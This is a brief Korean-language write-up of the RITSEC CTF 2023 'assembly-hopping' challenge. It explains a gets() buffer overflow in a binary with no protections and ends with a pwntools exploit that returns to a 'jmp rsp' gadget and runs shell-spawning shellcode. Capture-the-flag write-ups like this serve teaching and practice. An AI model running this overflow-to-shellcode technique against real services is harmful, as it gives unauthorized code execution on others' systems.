RITSEC CTF 2023 - assembly-hopping (shellcode)

Doesn’t everyone love assembly?
nc assembly-hopping.challenges.ctf.ritsec.club 1337

  • [132 solves / 279 points]

Analysis

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

일단 보호기법이 아무것도 없다. 그리고 코드 분석을 해보면 gets 함수로 bof가 발생하고 아래와 같은 가젯을 제공해준다.

1
2
3
push    rbp
mov rbp, rsp
jmp rsp

Solve

이 문제는.. 풀이 방법을 설명하기가 어렵다..

rbp 자리에 AAAAAAAA을 넣고 ret 자리에 jmp rsp 가젯을 넣어주었다. 그러니까 함수가 종료되는 시점에 실행되는 가젯 흐름을 보면 아래와 같다.

1
2
3
leave
ret
jmp rsp

leave가 실행되면서 rbpAAAAAAAA로 바뀌고 ret 명령을 실행하면서 jmp rsp 가젯이 rip에 들어가고 rsp가 내려간다. 그러면 jmp rsp 가젯 뒤에 저장된 내용을 가리킨다. 이 자리에 쉘코드를 넣으면 된다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = process('./chall')
# p = remote('ret2win.challenges.ctf.ritsec.club', 1337)
e = ELF('./chall')
context.binary = ELF("./chall")

payload = b''
payload += b'a' * (0xd0+0x8)
payload += p64(0x401156) # jmp rsp
# payload += asm('nop') * 16
payload += asm(shellcraft.sh()) # here!

pause()
p.sendline(payload)

p.interactive()